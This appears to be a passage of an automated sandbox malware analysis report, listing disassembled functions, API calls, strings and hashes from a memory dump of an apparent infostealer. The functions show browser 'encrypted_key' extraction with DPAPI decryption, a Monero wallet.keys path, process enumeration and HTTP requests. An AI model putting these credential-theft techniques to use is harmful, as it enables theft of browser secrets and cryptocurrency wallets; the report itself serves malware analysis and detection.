Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 8bd9941a52f7085619a6e53c180c967ca6c9034ab154341f5eba4a842910f5e6
Instruction ID: 5acd14e7faef2ab4481f45bc880ff2256196e1d10ae0b84a33afeec364cc2558
Opcode Fuzzy Hash: 8bd9941a52f7085619a6e53c180c967ca6c9034ab154341f5eba4a842910f5e6
Instruction Fuzzy Hash: 215115B1D1010CABDB04FBA0DC56DFD7778AF64340F808528F91A67195EF786A19CBA2

Function 001E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001E9D39

Part of subcall function 001E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9AEF
Part of subcall function 001E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001E4EEE,00000000,?), ref: 001E9B01
Part of subcall function 001E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9B2A
Part of subcall function 001E9AC0: LocalFree.KERNEL32(?,?,?,?,001E4EEE,00000000,?), ref: 001E9B3F

Part of subcall function 001E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001E9B84
Part of subcall function 001E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 001E9BA3
Part of subcall function 001E9B60: LocalFree.KERNEL32(?), ref: 001E9BD3

Strings

"encrypted_key":", xrefs: 001E9D30
DPAPI, xrefs: 001E9D89
, xrefs: 001E9DC1

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 8c53a4576bc12fc45505a4fdc1e279481155de5030894a336130a401a013cf1c
Instruction ID: 84823f73e6a5217a940ba3fa2d0543d004cad66ae2c570b965182d4874301dfb
Opcode Fuzzy Hash: 8c53a4576bc12fc45505a4fdc1e279481155de5030894a336130a401a013cf1c
Instruction Fuzzy Hash: 91316FB6D1021DABCF04DBE5DC85EEEB7B8BF58304F144518FA05A3241EB349A14CBA1

Function 001F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002005B7), ref: 001F86CA
Process32First.KERNEL32(?,00000128), ref: 001F86DE
Process32Next.KERNEL32(?,00000128), ref: 001F86F3

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

CloseHandle.KERNEL32(?), ref: 001F8761

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: e50b5b9d179302f2c23cb58bbcdaba5022b5fbf3a509f19d1d7803b211316d55
Instruction ID: 46973cfc1eb2140f7b7aa320ae7d9c4fc302febe0face9af9602bd6319814ed5
Opcode Fuzzy Hash: e50b5b9d179302f2c23cb58bbcdaba5022b5fbf3a509f19d1d7803b211316d55
Instruction Fuzzy Hash: BD318CB190121CABCB24EB50CC41FEEB778EF55700F9042A9A60EA21A0DB746A45CFA1

Function 001F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011D8A80,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001F6AE8
CloseHandle.KERNEL32(00000000), ref: 001F6AF9
Sleep.KERNEL32(00001770), ref: 001F6B04
CloseHandle.KERNEL32(?,00000000,?,011D8A80,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6B1A
ExitProcess.KERNEL32 ref: 001F6B22

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9710545475b5c1e871eb41b95ebdbe2cd34c11e1ad9acd0b26be18d6e56e3c60
Instruction ID: 20803c32bb8891c574c9a60898b5657041fd4a81e5e35d1582b1ae8ae223a4e8
Opcode Fuzzy Hash: 9710545475b5c1e871eb41b95ebdbe2cd34c11e1ad9acd0b26be18d6e56e3c60
Instruction Fuzzy Hash: B0F03A70A4020DABE710ABA09C1ABBD7A34EF14701F504924BB06A21C1CBB05541D69A

Function 001E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Strings

<, xrefs: 001E47C9

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 09e6d56ae77c72f9bdd52c82a248207ec3f0014f5dbc520acf12320723c055f3
Instruction ID: 26b61873aafe383d8cd684de75564acf02aa176cc9c8ef4390f3a828d2c78c65
Opcode Fuzzy Hash: 09e6d56ae77c72f9bdd52c82a248207ec3f0014f5dbc520acf12320723c055f3
Instruction Fuzzy Hash: 64213EB1D00209ABDF14DFA5EC45ADE7B75FF44320F508625FA19A7291EB706A0ACB81

Function 001F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E6280: InternetOpenA.WININET(00200DFE,00000001,00000000,00000000,00000000), ref: 001E62E1
Part of subcall function 001E6280: StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E6303
Part of subcall function 001E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E6335
Part of subcall function 001E6280: HttpOpenRequestA.WININET(00000000,GET,?,011DDC70,00000000,00000000,00400100,00000000), ref: 001E6385
Part of subcall function 001E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001E63BF
Part of subcall function 001E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5228

Strings

ERROR, xrefs: 001F5273
ERROR, xrefs: 001F521A

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: c109cbdbc1feeec7f31f077fb50630b4c78fdf6fcd34fd65f855fab3a014b5d0
Instruction ID: c7a6ad6e2a2316ebf47c11882032ed1464cba42c449e5bf83411d0918fedf2af
Opcode Fuzzy Hash: c109cbdbc1feeec7f31f077fb50630b4c78fdf6fcd34fd65f855fab3a014b5d0
Instruction Fuzzy Hash: 34111FB091014CA7CB14FF60DD52AFD7339AF60340F808254FA0E4B592EF746B16C691

Function 001F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4F7A
lstrcat.KERNEL32(?,00201070), ref: 001F4F97
lstrcat.KERNEL32(?,011D8940), ref: 001F4FAB
lstrcat.KERNEL32(?,00201074), ref: 001F4FBD

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
Part of subcall function 001F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
Part of subcall function 001F4910: FindClose.KERNEL32(000000FF), ref: 001F4B92

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ff82b9c85d2745c567f8dee98bb2ad4066b4b9177c92b05d03b7d77f0e4289bd
Instruction ID: 3c0b558920bce29dd88b7481a6e976131063b15217abec5a39eb6a03764266ec
Opcode Fuzzy Hash: ff82b9c85d2745c567f8dee98bb2ad4066b4b9177c92b05d03b7d77f0e4289bd
Instruction Fuzzy Hash: 8C219B76A0020867C764F770DC46EEE333DAB65300F404598BB5992181EFB496D98B96

Function 001F0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,011D89C0), ref: 001F079A
StrCmpCA.SHLWAPI(00000000,011D88F0), ref: 001F0866
StrCmpCA.SHLWAPI(00000000,011D8980), ref: 001F099D

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
